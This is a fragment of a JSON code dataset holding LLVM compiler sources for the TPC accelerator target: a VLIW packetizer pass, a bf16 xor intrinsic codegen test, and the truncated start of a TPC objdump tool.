\"tpc-packets\", \"TPC Packetizer\",\n false, false)\nINITIALIZE_PASS_DEPENDENCY(MachineDominatorTree)\nINITIALIZE_PASS_DEPENDENCY(MachineBranchProbabilityInfo)\nINITIALIZE_PASS_DEPENDENCY(MachineLoopInfo)\nINITIALIZE_PASS_DEPENDENCY(AAResultsWrapperPass)\nINITIALIZE_PASS_END(TPCPacketizer, \"tpc-packets\", \"TPC Packetizer\",\n false, false)\n\nTPCPacketizerList::TPCPacketizerList(MachineFunction &MF,\n MachineLoopInfo &MLI, AAResults *AA,\n const MachineBranchProbabilityInfo *MBPI)\n : VLIWPacketizerList(MF, MLI, AA), MBPI(MBPI), MLI(&MLI) {\n HII = MF.getSubtarget<TPCSubtarget>().getInstrInfo();\n HRI = MF.getSubtarget<TPCSubtarget>().getRegisterInfo();\n Dependence = false;\n PacketNum = 0;\n\n addMutation(std::make_unique<TPCSubtarget::TPCDAGMutation>());\n}\n\nbool TPCPacketizer::runOnMachineFunction(MachineFunction &MF) {\n if (DisablePacketizer || skipFunction(MF.getFunction()))\n return false;\n\n HII = MF.getSubtarget<TPCSubtarget>().getInstrInfo();\n HRI = MF.getSubtarget<TPCSubtarget>().getRegisterInfo();\n auto &MLI = getAnalysis<MachineLoopInfo>();\n auto *AA = &getAnalysis<AAResultsWrapperPass>().getAAResults();\n auto *MBPI = &getAnalysis<MachineBranchProbabilityInfo>();\n\n // Instantiate the packetizer.\n TPCPacketizerList Packetizer(MF, MLI, AA, MBPI);\n\n // DFA state table should not be empty.\n assert(Packetizer.getResourceTracker() && \"Empty DFA table!\");\n\n if (Packetizer.getResourceTracker()->getInstrItins()->isEmpty()) {\n return false;\n }\n\n //\n // Loop over all basic blocks and remove KILL pseudo-instructions\n // These instructions confuse the dependence analysis. Consider:\n // D0 = ... (Insn 0)\n // R0 = KILL R0, D0 (Insn 1)\n // R0 = ... (Insn 2)\n // Here, Insn 1 will result in the dependence graph not emitting an output\n // dependence between Insn 0 and Insn 2. This can lead to incorrect\n // packetization\n //\n for (auto &MB : MF) {\n auto End = MB.end();\n auto MI = MB.begin();\n while (MI != End) {\n auto NextI = std::next(MI);\n if (MI->isKill() || MI->getOpcode() == TPC::IMPLICIT_DEF) {\n MB.erase(MI);\n End = MB.end();\n }\n MI = NextI;\n }\n }\n\n // Loop over all of the basic blocks.\n for (auto &MB : MF) {\n Packetizer.PacketNum = 0;\n Packetizer.PacketizeMIs(&MB, MB.begin(), MB.end());\n }\n\n Packetizer.unpacketizeSoloInstrs(MF);\n return true;\n}\n\n\n// Initialize packetizer flags.\nvoid TPCPacketizerList::initPacketizerState() {\n Dependence = false;\n}\n\n// Ignore bundling of pseudo instructions.\nbool TPCPacketizerList::ignorePseudoInstruction(const MachineInstr &MI,\n const MachineBasicBlock *) {\n if (MI.isDebugValue())\n return true;\n\n if (MI.isCFIInstruction())\n return false;\n\n // We must print out inline assembly.\n if (MI.isInlineAsm())\n return false;\n\n if (MI.isImplicitDef())\n return false;\n\n // We check if MI has any functional units mapped to it. If it doesn't,\n // we ignore the instruction.\n const MCInstrDesc& TID = MI.getDesc();\n\n auto *IS = ResourceTracker->getInstrItins()->beginStage(TID.getSchedClass());\n unsigned FuncUnits = IS->getUnits();\n return !FuncUnits;\n}\n\nbool TPCPacketizerList::isSoloInstruction(const MachineInstr &MI) {\n if (MI.isInlineAsm() /*&& !ScheduleInlineAsm*/) {\n return true;\n }\n if (MI.getOpcode() == TPC::LOOPEND) {\n return true;\n }\n switch (TPCII::getSlotOpCode(MI.getDesc())) {\n case TPCII::spuLOOP:\n return TPCII::getInstrType(MI.getDesc()) == TPCII::TypeLOOP;\n default:\n return false;\n }\n}\n\nstatic MachineBasicBlock::iterator moveInstrOut(MachineInstr &MI,\n MachineBasicBlock::iterator BundleIt, bool Before) {\n MachineBasicBlock::instr_iterator InsertPt;\n if (Before)\n InsertPt = BundleIt.getInstrIterator();\n else\n InsertPt = std::next(BundleIt).getInstrIterator();\n\n MachineBasicBlock &B = *MI.getParent();\n // The instruction should at least be bundled with the preceding instruction\n // (there will always be one, i.e. BUNDLE, if nothing else).\n assert(MI.isBundledWithPred());\n if (MI.isBundledWithSucc()) {\n MI.clearFlag(MachineInstr::BundledSucc);\n MI.clearFlag(MachineInstr::BundledPred);\n } else {\n // If it's not bundled with the successor (i.e. it is the last one\n // in the bundle), then we can simply unbundle it from the predecessor,\n // which will take care of updating the predecessor's flag.\n MI.unbundleFromPred();\n }\n B.splice(InsertPt, &B, MI.getIterator());\n\n // Get the size of the bundle without asserting.\n MachineBasicBlock::const_instr_iterator I = BundleIt.getInstrIterator();\n MachineBasicBlock::const_instr_iterator E = B.instr_end();\n unsigned Size = 0;\n for (++I; I != E && I->isBundledWithPred(); ++I)\n ++Size;\n\n // If there are still two or more instructions, then there is nothing\n // else to be done.\n if (Size > 1)\n return BundleIt;\n\n // Otherwise, extract the single instruction out and delete the bundle.\n MachineBasicBlock::iterator NextIt = std::next(BundleIt);\n MachineInstr &SingleI = *BundleIt->getNextNode();\n SingleI.unbundleFromPred();\n assert(!SingleI.isBundledWithSucc());\n BundleIt->eraseFromParent();\n return NextIt;\n}\n\n// Check if FirstI modifies a register that SecondI reads.\nstatic bool hasWriteToReadDep(const MachineInstr &FirstI,\n const MachineInstr &SecondI,\n const TargetRegisterInfo *TRI) {\n for (auto &MO : FirstI.operands()) {\n if (!MO.isReg() || !MO.isDef())\n continue;\n unsigned R = MO.getReg();\n if (SecondI.readsRegister(R, TRI))\n return true;\n }\n return false;\n}\n\nvoid TPCPacketizerList::unpacketizeSoloInstrs(MachineFunction &MF) {\n for (auto &B : MF) {\n MachineBasicBlock::iterator BundleIt;\n MachineBasicBlock::instr_iterator NextI;\n for (auto I = B.instr_begin(), E = B.instr_end(); I != E; I = NextI) {\n NextI = std::next(I);\n MachineInstr &MI = *I;\n if (MI.isBundle())\n BundleIt = I;\n if (!MI.isInsideBundle())\n continue;\n bool InsertBeforeBundle;\n if (MI.isInlineAsm())\n InsertBeforeBundle = !hasWriteToReadDep(MI, *BundleIt, HRI);\n else if (MI.isDebugValue())\n InsertBeforeBundle = true;\n else\n continue;\n\n BundleIt = moveInstrOut(MI, BundleIt, InsertBeforeBundle);\n }\n }\n}\n\nstatic bool isControlFlow(const MachineInstr &MI) {\n return MI.getDesc().isTerminator();\n}\n\n#if 0\n// Currently not used.\n// Return true when ConsMI uses a register defined by ProdMI.\nstatic bool isDependent(const MachineInstr &ProdMI, const MachineInstr &ConsMI) {\n if (!ProdMI.getOperand(0).isReg())\n return false;\n unsigned DstReg = ProdMI.getOperand(0).getReg();\n\n for (auto &Op : ConsMI.operands())\n if (Op.isReg() && Op.isUse() && Op.getReg() == DstReg)\n // The MIs depend on each other.\n return true;\n\n return false;\n}\n#endif\n\nbool TPCPacketizerList::hasDeadDependence(const MachineInstr &I,\n const MachineInstr &J) {\n // The dependence graph may not include edges between dead definitions,\n // so without extra checks, we could end up packetizing two instruction\n // defining the same (dead) register.\n\n if (HII->isPredicated(I) || HII->isPredicated(J))\n return false;\n\n BitVector DeadDefs(256); // TODO: need to put a named constant here\n for (auto &MO : I.operands()) {\n if (!MO.isReg() || !MO.isDef() || !MO.isDead())\n continue;\n DeadDefs[MO.getReg()] = true;\n }\n\n for (auto &MO : J.operands()) {\n if (!MO.isReg() || !MO.isDef() || !MO.isDead())\n continue;\n unsigned R = MO.getReg();\n if (DeadDefs[R]) {\n LLVM_DEBUG(dbgs() << \"Dead dependency between \" << I << \" and \" << J << \"\\n\");\n return true;\n }\n }\n return false;\n}\n\nbool TPCPacketizerList::hasControlDependence(const MachineInstr &I,\n const MachineInstr &J) {\n\n // Two control flow instructions cannot go in the same packet.\n if (isControlFlow(I) && isControlFlow(J)) {\n LLVM_DEBUG(dbgs() << \"Ctrl dependency between \" << I << \" and \" << J << \"\\n\");\n return true;\n }\n return false;\n}\n\nbool TPCPacketizerList::hasTPCSpecificDependence(const MachineInstr &I,\n const MachineInstr &J) {\n // Immediate sharing\n bool hasImmI = (HII->instHasImm(I));\n bool hasImmJ = (HII->instHasImm(J));\n bool hasImmField = (HII->instHasImmField(I) || HII->instHasImmField(J));\n if (hasImmI && hasImmJ && !hasImmField) {\n uint64_t immI = HII->getInstImm(I);\n uint64_t immJ = HII->getInstImm(J);\n if (immI != immJ) {\n LLVM_DEBUG(dbgs() << \"Imm field dependency between \" << I << \" and \" << J << \"\\n\");\n return true;\n }\n }\n\n // LD/ST predicate sharing\n unsigned pI = 0;\n unsigned pJ = 0;\n unsigned ppI = 0;\n unsigned ppJ = 0;\n bool ldstI = (HII->isLDSTInstrWithPredicate(I, pI, ppI));\n bool ldstJ = (HII->isLDSTInstrWithPredicate(J, pJ, ppJ));\n if (ldstI && ldstJ) {\n if ((pI != pJ) || (ppI != ppJ)) {\n LLVM_DEBUG(dbgs() << \"Predicate dependency between \" << I << \" and \" << J << \"\\n\");\n return true;\n }\n }\n\n // 1.3.4. General Restrictions\n // CACHE FLUSH/INVALIDATE or ASO with Evict and LD_G cannot be scheduled in the same VLIW instruction\n //\n {\n bool restrict1 = false;\n bool restrict2 = false;\n bool r_restrict1 = false;\n bool r_restrict2 = false;\n if (TPCII::isLoadInst(I.getDesc()) && TPCII::getSlotOpCode(I.getDesc()) == TPCII::LD_G) {\n restrict1 = true;\n }\n else if (TPCII::isLoadInst(J.getDesc()) && TPCII::getSlotOpCode(J.getDesc()) == TPCII::LD_G) {\n r_restrict1 = true;\n }\n if (restrict1) {\n switch (J.getOpcode()) {\n case TPC::CACHE_FLUSH:\n case TPC::CACHE_INVALIDATE:\n case TPC::ASO:\n restrict2 = true;\n break;\n default:;\n }\n }\n if (r_restrict1) {\n switch (I.getOpcode()) {\n case TPC::CACHE_FLUSH:\n case TPC::CACHE_INVALIDATE:\n case TPC::ASO:\n r_restrict2 = true;\n break;\n default:;\n }\n }\n\n if ((restrict1 && restrict2) || (r_restrict1 && r_restrict2)) {\n LLVM_DEBUG(dbgs() << \"CACHE and LD_G dependency between \" << I << \" and \" << J << \"\\n\");\n return true;\n }\n }\n\n unsigned sopcI = TPCII::getSlotOpCode(I.getDesc());\n unsigned sopcJ = TPCII::getSlotOpCode(J.getDesc());\n\n // From PRM:\n // LOAD and STORE issue slots share the same resource (spill RAM), and cannot\n // access it simultaneously. On the LOAD issue slot, the LD_L* and LOOKUP*\n // instructions access the spill RAM. On the STORE issue slot, all ST_L*\n // instructions access this SRAM. The compiler should avoid scheduling both\n // the stated instruction on the LOAD issue slot and the stated insruction\n // on the STORE issue slot in the same VLIW instruction.\n if (TPCII::isLookupC(I.getDesc()) ||\n (TPCII::isLoadInst(I.getDesc()) && sopcI == TPCII::LOOKUP) ||\n (TPCII::isLoadInst(I.getDesc()) && (sopcI >= 11 && sopcI <= 16)) // LD_L*\n ) {\n if (TPCII::isStoreInst(J.getDesc()) && (sopcJ >= TPCII::ST_L && sopcJ <= TPCII::ST_L_V_HIGH)) {\n return true;\n }\n }\n if (TPCII::isLookupC(J.getDesc()) ||\n (TPCII::isLoadInst(J.getDesc()) && sopcJ == TPCII::LOOKUP) ||\n (TPCII::isLoadInst(J.getDesc()) && (sopcJ >= 11 && sopcJ <= 16)) // LD_L*\n ) {\n if (TPCII::isStoreInst(I.getDesc()) && (sopcI >= TPCII::ST_L && sopcI <= TPCII::ST_L_V_HIGH)) {\n return true;\n }\n }\n\n // 1.3.4. General Restrictions\n // All generations: ST_G and LD_G cannot be scheduled in the same VLIW instruction\n if (TPCII::isLoadInst(I.getDesc()) && TPCII::getSlotOpCode(I.getDesc()) == TPCII::LD_G &&\n TPCII::isStoreInst(J.getDesc()) && TPCII::getSlotOpCode(J.getDesc()) == TPCII::ST_G) {\n return true;\n }\n if (TPCII::isLoadInst(J.getDesc()) && TPCII::getSlotOpCode(J.getDesc()) == TPCII::LD_G &&\n TPCII::isStoreInst(I.getDesc()) && TPCII::getSlotOpCode(I.getDesc()) == TPCII::ST_G) {\n return true;\n }\n // All except Gen1 (Dali) ST_G and LD_G/PREFETCH cannot be scheduled in the same VLIW instruction\n if (!MF.getSubtarget<TPCSubtarget>().hasGoyaISA()) {\n if (TPCII::isLoadInst(I.getDesc()) && TPCII::getSlotOpCode(I.getDesc()) == TPCII::PREFETCH &&\n TPCII::isStoreInst(J.getDesc()) && TPCII::getSlotOpCode(J.getDesc()) == TPCII::ST_G) {\n return true;\n }\n if (TPCII::isLoadInst(J.getDesc()) && TPCII::getSlotOpCode(J.getDesc()) == TPCII::PREFETCH &&\n TPCII::isStoreInst(I.getDesc()) && TPCII::getSlotOpCode(I.getDesc()) == TPCII::ST_G) {\n return true;\n }\n }\n \n // 1.3.4. General Restrictions\n // Assertion 1: The maximum number of SRF or SPRF sources allowed\n // in 1 VLIW instruction which includes the following is 1:\n // - MOV to V or VP\n // - LD_L_V* (only for Dali)\n // - VPU instruction\n //\n // Hilla Ben Yaacov wrote on 11/03/2020:\n //\n // Let me explain the HW mechanism:\n // The instructions are decoded in SPU, and then written to an Instruction-Queue for the VPU.\n // The instructions in the Instruction-Queue have a slightly different format\n // (see sheet Vector Pipe Instruction Encoding in the ISA excel).\n //\n // In addition to the regular fields like VPU_OPCODE, LOAD_OPCODE etc.,\n // there is some meta-data coming as well.\n // You can see there the field LOAD_VPU_EMBEDDED_S.\n // This field (referred to as LD_VPU_EMBEDDED_S in other sheets of the ISA excel)\n // is used for transferring the required SRF/SPRF value to the vector pipe.\n //\n // In Goya, you can see that all 3 instructions are using the same field\n // LD_L_V, MOV from SRF/SPRF to VRF/VPRF, and VPU with SRF (you can see it on the\n // right hand side of the excel sheet).\n //\n // In Gaudi this restriction can be mitigated, because we added a separate field\n // (LD_VLM_ADDR) for LD_L_V.\n //\n // Therefore in Gaudi the restriction holds only for MOV S->V and VPU using SRF.\n\n bool ldlv_I = (TPCII::isLoadInst(I.getDesc()) &&\n (sopcI == TPCII::LD_L_V || sopcI == TPCII::LD_L_V_LOW || sopcI == TPCII::LD_L_V_HIGH));\n bool ldlv_J = (TPCII::isLoadInst(J.getDesc()) &&\n (sopcJ == TPCII::LD_L_V || sopcJ == TPCII::LD_L_V_LOW || sopcJ == TPCII::LD_L_V_HIGH));\n bool isIMovSToV = (TPCII::isLoadInst(I.getDesc()) &&\n (sopcI == TPCII::ldMOV) && HII->isScalarToVector(I));\n bool isJMovSToV = (TPCII::isLoadInst(J.getDesc()) &&\n (sopcJ == TPCII::ldMOV) && HII->isScalarToVector(J));\n if (MF.getSubtarget<TPCSubtarget>().hasGaudiISA()) {\n if (isIMovSToV || (TPCII::isVPUInst(I.getDesc()) && HII->hasSRFOrSPRFOperands(I))) {\n if (isJMovSToV || (TPCII::isVPUInst(J.getDesc()) && HII->hasSRFOrSPRFOperands(J))) {\n LLVM_DEBUG(dbgs() << \"SRF/SPRF dependency between \" << I << \" and \" << J << \"\\n\");\n return true;\n }\n }\n }\n else { // Dali\n if (isIMovSToV || ldlv_I || (TPCII::isVPUInst(I.getDesc()) && HII->hasSRFOrSPRFOperands(I))) {\n if (isJMovSToV || ldlv_J || (TPCII::isVPUInst(J.getDesc()) && HII->hasSRFOrSPRFOperands(J))) {\n LLVM_DEBUG(dbgs() << \"SRF/SPRF dependency between \" << I << \" and \" << J << \"\\n\");\n return true;\n }\n }\n }\n\n // 1.3.4. General Restrictions\n // Assertion 1: If a VPU instruction accepts an SRF as input :\n // - LD_L_V must not be scheduled in the same VLIW instruction.\n // - MOV from SRF to V or VP must not be scheduled in LOAD slot in the same VLIW\n // instruction.\n if (HII->isVPUInstrWithSRF(I)) {\n if (TPCII::isLoadInst(J.getDesc()) && (sopcJ == 14 || sopcJ == 15 || sopcJ == 16)) { // LD_L_V\n return true;\n }\n if (HII->isMovSRFtoVInstr(J)) {\n return true;\n }\n }\n if (HII->isVPUInstrWithSRF(J)) {\n if (TPCII::isLoadInst(I.getDesc()) && (sopcI == 14 || sopcI == 15 || sopcI == 16)) { // LD_L_V\n return true;\n }\n if (HII->isMovSRFtoVInstr(I)) {\n return true;\n }\n }\n\n // MUL IRF,* on an SPU issue slot and SET_INDX/PRMT_INDX/GEN_ADDR/ST_TNSR*\n // on a Store issue slot can not be scheduled together in the same VLIW\n // instruction.\n auto HasIRFReg = [](const MachineInstr &MI) -> bool {\n for (unsigned i = 0; i < MI.getNumOperands(); ++i) {\n MachineOperand MO = MI.getOperand(i);\n if (MO.isReg() && TPC::IRFRegClass.contains(MO.getReg()))\n return true;\n }\n return false;\n };\n\n bool IIsMulWithIRF = false;\n bool JIsMulWithIRF = false;\n\n if (TPCII::isSPUInst(I.getDesc()) &&\n TPCII::getSlotOpCode(I.getDesc()) == TPCII::spuMUL) {\n IIsMulWithIRF = HasIRFReg(I);\n }\n if (TPCII::isSPUInst(J.getDesc()) &&\n TPCII::getSlotOpCode(J.getDesc()) == TPCII::spuMUL) {\n JIsMulWithIRF = HasIRFReg(J);\n }\n\n if (IIsMulWithIRF && TPCII::isStoreInst(J.getDesc()) &&\n (sopcJ == TPCII::stSET_INDX || sopcJ == TPCII::stPRMT_INDX ||\n sopcJ == TPCII::stGEN_ADDR || sopcJ == TPCII::ST_TNSR ||\n sopcJ == TPCII::ST_TNSR_HIGH || sopcJ == TPCII::ST_TNSR_LOW ||\n sopcJ == TPCII::stLD_TNSR || sopcJ == TPCII::stLD_TNSR_HIGH ||\n sopcJ == TPCII::stLD_TNSR_LOW))\n return true;\n\n if (JIsMulWithIRF && TPCII::isStoreInst(I.getDesc()) &&\n (sopcI == TPCII::stSET_INDX || sopcI == TPCII::stPRMT_INDX ||\n sopcI == TPCII::stGEN_ADDR || sopcI == TPCII::ST_TNSR ||\n sopcI == TPCII::ST_TNSR_HIGH || sopcI == TPCII::ST_TNSR_LOW ||\n sopcI == TPCII::stLD_TNSR || sopcI == TPCII::stLD_TNSR_HIGH ||\n sopcI == TPCII::stLD_TNSR_LOW))\n return true;\n\n return false;\n}\n\n// SUI is the current instruction that is outside of the current packet.\n// SUJ is the current instruction inside the current packet against which that\n// SUI will be packetized.\nbool TPCPacketizerList::isLegalToPacketizeTogether(SUnit *SUI, SUnit *SUJ) {\n assert(SUI->getInstr() && SUJ->getInstr());\n MachineInstr &I = *SUI->getInstr();\n MachineInstr &J = *SUJ->getInstr();\n\n if (TPCSinglePackets) {\n return false;\n }\n\n LLVM_DEBUG(dbgs() << \"Trying \" << I << \"\\n\");\n\n if (I.getOpcode() == TPC::NOPv) {\n LLVM_DEBUG(dbgs() << \"Failed: NOP\" << \"\\n\");\n return false;\n }\n if (J.getOpcode() == TPC::NOPv) {\n LLVM_DEBUG(dbgs() << \"Failed: NOP\" << \"\\n\");\n return false;\n }\n\n // TODO: We currently do not allow JMPR to bundle with any instr:\n // this is because it breaks kernel tests.\n if (I.isTerminator()) {\n LLVM_DEBUG(dbgs() << \"Failed: Terminator\" << \"\\n\");\n return false;\n }\n\n //MachineBasicBlock::iterator II = I.getIterator();\n\n // Solo instructions cannot go in the packet.\n assert(!isSoloInstruction(I) && \"Unexpected solo instr!\");\n\n if (SUI == SUJ) {\n LLVM_DEBUG(dbgs() << \"Failed because the slot is already occupied by\" << J << \"\\n\");\n return false;\n }\n\n Dependence = hasDeadDependence(I, J) || hasControlDependence(I, J);\n if (Dependence) {\n LLVM_DEBUG(dbgs() << \"Failed due to dead dependency with \" << J << \"\\n\");\n return false;\n }\n\n Dependence = hasTPCSpecificDependence(I, J);\n if (Dependence) {\n LLVM_DEBUG(dbgs() << \"Failed due to TPC dependency with \" << J << \"\\n\");\n return false;\n }\n\n if (SUJ->isSucc(SUI)) {\n for (unsigned i = 0, e = SUJ->Succs.size(); i < e; ++i) {\n const SDep &Dep = SUJ->Succs[i];\n if (Dep.getSUnit() != SUI) {\n continue;\n }\n if (Dep.getKind() == SDep::Anti) {\n continue;\n }\n if (Dep.getKind() == SDep::Output) {\n // Zero latency means that operation writes to different parts of vector\n if (Dep.getLatency() != 0 &&\n I.getOperand(0).getReg() == J.getOperand(0).getReg()) {\n LLVM_DEBUG(dbgs() << \"Failed due to OUT dependency with \" << J << \"\\n\");\n return false;\n }\n }\n if (Dep.getKind() == SDep::Order) {\n LLVM_DEBUG(dbgs() << \"Failed due to ORDER dependency with \" << J << \"\\n\");\n return false;\n }\n if (Dep.getKind() == SDep::Data) {\n LLVM_DEBUG(dbgs() << \"Failed due to DATA dependency with \" << J << \"\\n\");\n return false;\n }\n }\n }\n\n#if 0\n // Do not packetize the instruction if it causes NOP insertion\n // before the bundle due to latency with its predecessor\n for (unsigned i = 0, e = SUI->Preds.size(); i < e; ++i) {\n const SDep &Dep = SUI->Preds[i];\n if (Dep.getSUnit() == SUJ) {\n continue;\n }\n if (Dep.getKind() == SDep::Data) {\n if ((PacketNum - Dep.getSUnit()->TopReadyCycle) < Dep.getLatency()) {\n LLVM_DEBUG(dbgs() << \"Failed due to Latency: \" << I << \"\\n\");\n LLVM_DEBUG(dbgs() << \"Dep: \" << *(Dep.getSUnit()->getInstr()));\n LLVM_DEBUG(dbgs() << \" DepLatency: \" << Dep.getLatency() << \"\\n\");\n LLVM_DEBUG(dbgs() << \" DepCycle : \" << Dep.getSUnit()->TopReadyCycle << \"\\n\");\n LLVM_DEBUG(dbgs() << \" CurCycle : \" << PacketNum << \"\\n\");\n return false;\n }\n }\n }\n#endif\n\n return true;\n}\n\nbool TPCPacketizerList::isLegalToPruneDependencies(SUnit *SUI, SUnit *SUJ) {\n assert(SUI->getInstr() && SUJ->getInstr());\n return false;\n}\n\nMachineBasicBlock::iterator\nTPCPacketizerList::addToPacket(MachineInstr &MI) {\n MachineBasicBlock::iterator MII = MI.getIterator();\n assert(ResourceTracker->canReserveResources(MI));\n ResourceTracker->reserveResources(MI);\n CurrentPacketMIs.push_back(&MI);\n\n // Save current packet num (cycle) into the SU\n SUnit *SU = MIToSUnit[&MI];\n if (SU) {\n SU->TopReadyCycle = PacketNum;\n }\n return MII;\n}\n\nvoid TPCPacketizerList::addNops(MachineBasicBlock *MBB, MachineBasicBlock::iterator MI) {\n assert(!CurrentPacketMIs.empty());\n\n bool LD_Slot = false,\n SPU_Slot = false,\n VPU_Slot = false,\n ST_Slot = false;\n const DebugLoc &DL = CurrentPacketMIs.front()->getDebugLoc();\n\n for (auto I : CurrentPacketMIs) {\n const MCInstrDesc& MCI = I->getDesc();\n\n if (TPCII::getSlotOpCode(MCI) == TPCII::spuHALT) {\n assert(TPCII::isSPUInst(MCI));\n assert(!LD_Slot && !SPU_Slot && !VPU_Slot && !ST_Slot);\n assert(CurrentPacketMIs.size() == 1);\n auto NMI = MF.CreateMachineInstr(HII->get(TPC::HALTv), DL, true);\n MBB->insert(MI, NMI);\n addToPacket(*NMI);\n NMI = MF.CreateMachineInstr(HII->get(TPC::NOPld), DL, true);\n MBB->insert(MI, NMI);\n addToPacket(*NMI);\n NMI = MF.CreateMachineInstr(HII->get(TPC::NOPst), DL, true);\n MBB->insert(MI, NMI);\n addToPacket(*NMI);\n return;\n }\n\n if (TPCII::isLoopInst(MCI)) {\n assert(!LD_Slot && !SPU_Slot && !VPU_Slot && !ST_Slot);\n assert(CurrentPacketMIs.size() == 1);\n return;\n }\n\n if (TPCII::isLoadInst(MCI)) {\n assert(!LD_Slot && \"Invalid packet\");\n LD_Slot = true;\n }\n else if (TPCII::isSPUInst(MCI)) {\n assert(!SPU_Slot && \"Invalid packet\");\n SPU_Slot = true;\n }\n else if (TPCII::isVPUInst(MCI)) {\n assert(!VPU_Slot && \"Invalid packet\");\n VPU_Slot = true;\n }\n else if (TPCII::isStoreInst(MCI)) {\n assert(!ST_Slot && \"Invalid packet\");\n ST_Slot = true;\n }\n }\n\n if (LD_Slot && SPU_Slot && VPU_Slot && ST_Slot) {\n assert(CurrentPacketMIs.size() == 4);\n return;\n }\n\n if (!LD_Slot) {\n auto NMI = MF.CreateMachineInstr(HII->get(TPC::NOPld), DL, true);\n MBB->insert(MI, NMI);\n addToPacket(*NMI);\n }\n if (!SPU_Slot) {\n auto NMI = MF.CreateMachineInstr(HII->get(TPC::NOPs), DL, true);\n MBB->insert(MI, NMI);\n addToPacket(*NMI);\n }\n if (!VPU_Slot) {\n auto NMI = MF.CreateMachineInstr(HII->get(TPC::NOPv), DL, true);\n MBB->insert(MI, NMI);\n addToPacket(*NMI);\n }\n if (!ST_Slot) {\n auto NMI = MF.CreateMachineInstr(HII->get(TPC::NOPst), DL, true);\n MBB->insert(MI, NMI);\n addToPacket(*NMI);\n }\n assert(CurrentPacketMIs.size() <= 4);\n}\n\nvoid TPCPacketizerList::endPacket(MachineBasicBlock *MBB,\n MachineBasicBlock::iterator MI) {\n if (!CurrentPacketMIs.empty())\n addNops(MBB, MI);\n VLIWPacketizerList::endPacket(MBB, MI);\n LLVM_DEBUG(dbgs() << \"** Packet Num: \" << PacketNum << \"\\n\\n\");\n PacketNum++;\n}\n\nint TPCPacketizerList::produceLatencyHazard(const MachineInstr &I) {\n SUnit *SUI = MIToSUnit[const_cast<MachineInstr *>(&I)];\n for (unsigned i = 0, e = SUI->Preds.size(); i < e; ++i) {\n const SDep &Dep = SUI->Preds[i];\n if (Dep.getKind() == SDep::Data) {\n int nopsNeeded = Dep.getLatency() - (PacketNum - Dep.getSUnit()->TopReadyCycle);\n if (nopsNeeded > 0) {\n LLVM_DEBUG(dbgs() << \"Latency Hazard: \" << I << \"\\n\");\n LLVM_DEBUG(dbgs() << \"Dep: \" << *(Dep.getSUnit()->getInstr()));\n LLVM_DEBUG(dbgs() << \" DepLatency: \" << Dep.getLatency() << \"\\n\");\n LLVM_DEBUG(dbgs() << \" DepCycle : \" << Dep.getSUnit()->TopReadyCycle << \"\\n\");\n LLVM_DEBUG(dbgs() << \" CurCycle : \" << PacketNum << \"\\n\");\n return nopsNeeded;\n }\n }\n }\n return 0;\n}\n\nbool TPCPacketizerList::shouldAddToPacket(const MachineInstr &MI) {\n //return true;\n int curProduceNops = produceLatencyHazard(MI);\n if(CurrentPacketMIs.empty()) {\n return (curProduceNops == 0);\n }\n if(curProduceNops) {\n int nopsAlreadyProduced = 0;\n for (auto I : CurrentPacketMIs) {\n nopsAlreadyProduced = std::max(nopsAlreadyProduced, produceLatencyHazard(*I));\n }\n return (curProduceNops <= nopsAlreadyProduced);\n }\n return true;\n\n\n return !produceLatencyHazard(MI);\n}\n\n\n//===----------------------------------------------------------------------===//\n// Public Constructor Functions\n//===----------------------------------------------------------------------===//\n\nFunctionPass *llvm::createTPCPacketizer() {\n return new TPCPacketizer();\n}\n" }, { "alpha_fraction": 0.44778481125831604, "alphanum_fraction": 0.5522152185440063, "avg_line_length": 30.600000381469727, "blob_id": "8be09f8fe6e296f95057ae8e4f4e23542a3d00c8", "content_id": "e5e0ca795bacbe3a64cf18334d75813edb567f77", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 632, "license_type": "permissive", "max_line_length": 131, "num_lines": 20, "path": "/clang/test/RC99/IntrinsicsM/xor/s_bf16_xor_s_s.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main(bf16 x0, bf16 x1, int dest0, int dest1)\n{\n \n \n \n bf16 __local *res0 = (bf16 __local *)dest0;\n bf16 temp_res0 = 0;\n temp_res0 = s_bf16_xor_s_s(x0, x1);\n *res0 = temp_res0;\n \n bf16 __local *res1 = (bf16 __local *)dest1;\n bf16 temp_res1 = 0;\n temp_res1 = s_bf16_xor_s_s(x0, 8.bf);\n *res1 = temp_res1;\n}\n//CHECK-ASM: .globl main\n//CHECK-ASM-DAG: xor.bf16 %S{{[0-9]+}}, %S{{[0-9]+}}, %S{{[0-9]+}}\n//CHECK-ASM-DAG: xor.bf16 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x4100\n" }, { "alpha_fraction": 0.6241151094436646, "alphanum_fraction": 0.6332495808601379, "avg_line_length": 32.42748260498047, "blob_id": "078e0c6dfb79c594f22d8afcf8f3e624dfac3141", "content_id": "50eb8d441de944a84bbbe949ef77d1d6a353581c", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 17516, "license_type": "permissive", "max_line_length": 157, "num_lines": 524, "path": "/llvm/tools/llvm-objdump/TPCDump.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-TPCDump.cpp --------------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#ifdef LLVM_TPC_COMPILER\n#include <cassert>\n#include <iostream>\n#include <sstream>\n#include <string>\n#include <vector>\n#include <fstream>\n\n#include \"llvm-objdump.h\"\n#include \"tpc-encoding-info.h\"\n#include \"llvm/BinaryFormat/ELF.h\"\n#include \"llvm/MC/MCContext.h\"\n#include \"llvm/MC/MCDisassembler/MCDisassembler.h\"\n#include \"llvm/MC/MCInst.h\"\n#include \"llvm/Support/FormatVariadic.h\"\n#include \"llvm/Target/TPCMetadataSection.h\"\n\nusing namespace llvm;\nusing namespace object;\n\ncl::opt<bool> llvm::TPCCompressStatus(\"tpc-compress-info\",\n cl::desc(\"Displays compression status of TPC instructions\"));\n\ncl::opt<std::string> llvm::TPCCompressStatusFile(\n \"tpc-compress-info-file\",\n cl::desc(\"Name of the output file for TPC compression status information (default is 'stdout')\"),\n 